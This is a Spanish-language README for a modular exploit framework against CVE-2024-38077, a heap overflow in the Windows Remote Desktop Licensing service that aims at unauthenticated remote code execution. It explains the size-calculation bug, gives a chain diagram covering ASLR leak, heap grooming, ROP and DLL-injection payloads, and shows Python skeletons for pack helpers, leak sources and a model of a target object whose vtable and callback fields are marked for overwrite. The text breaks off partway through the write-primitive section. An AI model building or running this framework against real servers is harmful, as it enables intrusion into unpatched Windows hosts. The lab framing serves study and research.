Framework de exploits modular para CVE-2024-38077 (desbordamiento de montón de RDL de Windows) con bypass de ASLR, preparación de montón, generación de cadenas ROP y cargas útiles de inyección de DLL para ejecución remota de código sin autenticación previa.
Este documento explica cada componente del framework, por qué existe, y cómo funciona la explotación de heap buffer overflow en Windows moderno.
El Windows Remote Desktop Licensing Service (lserver.exe) contiene un heap buffer overflow en la función CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILIDAD: Cálculo incorrecto de tamaño │
├─────────────────────────────────────────────────────────────┤
│ 1. Cliente envía datos Base64 de tamaño N │
│ 2. Servidor calcula: buffer_size = (N / 4) * 3 │
│ 3. Servidor asigna buffer de 'buffer_size' bytes │
│ 4. Decode Base64 REALMENTE escribe: ceil(N * 3/4) bytes │
│ 5. Si N no es múltiplo de 4: ¡OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Ejemplo concreto:
(4001 / 4) * 3 = 1000 * 3 = 3000 bytes asignadosceil(4001 * 0.75) = 3001 bytes escritos┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FundaciónUtilidades de bajo nivel para manipulación de memoria.
Los exploits necesitan:
# Pack/Unpack - Convertir enteros a bytes y viceversa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Patrón Cíclico - Para identificar offset de crash
cyclic(100) # Genera secuencia De Bruijn
cyclic_find(pattern, value) # Encuentra offset del valor
# Alineación - Memoria necesita estar alineada
align(0x1003, 0x10) # → 0x1010 (alinea a 16 bytes)
Problema real: Causas un crash y el RIP contiene 0x61616171.
cyclic_find(pattern, 0x61616171) → ¡offset exacto!leak.py - Bypass de ASLRAddress Space Layout Randomization: En cada boot/ejecución, las direcciones cambian.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Sin saber dónde está la memoria:
class LeakInfo:
"""Contenedor para direcciones filtradas"""
heap_base: int # Base del heap
ntdll_base: int # Base de ntdll.dll
kernel32_base: int # Base de kernel32.dll
# ...
class LeakProvider:
"""Orquestador de fuentes de leak"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Intenta cada fuente hasta conseguirlo
| Fuente | Cómo Funciona | Cuándo Usar |
|---|---|---|
ManualLeakSource | Usuario proporciona direcciones | Lab/Debug con acceso al objetivo |
ResponseLeakSource | Extrae de respuestas RPC | Si el servicio filtra punteros |
TimingLeakSource | Side-channel de tiempo | Teórico, muy difícil |
En demostraciones/labs, puedes:
--ntdll-base 0x7ffa...Esto simula tener un leak real, permitiendo probar el resto de la cadena.
target_model.py - Mapeo del ObjetivoModelado de las estructuras de datos vulnerables y adyacentes.
Overflow ≠ Explotación. Necesitamos saber:
class VulnerableBuffer:
"""El buffer que va a sufrir overflow"""
allocation_size: int # Cuánto se asignó
write_size: int # Cuánto se escribirá
overflow_amount: int # Diferencia = overflow
def calculate_overflow(input_size):
# Simula el bug de cálculo
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Objeto que será corrompido (adyacente en el heap)"""
fields: List[StructField]
has_vtable: bool # ¿Tiene tabla virtual?
has_function_ptr: bool # ¿Tiene puntero de función?
# Objeto hipotético basado en análisis reverso
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Campos mapeados
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Marca campos útiles para explotación:
vtable: Si sobrescribimos, controlamos llamadas de métodocallback: Si sobrescribimos, controlamos cuando se llama al callbackwrite_primitive.py - Escritura ControladaOverflow escribe datos secuenciales. Pero necesitamos: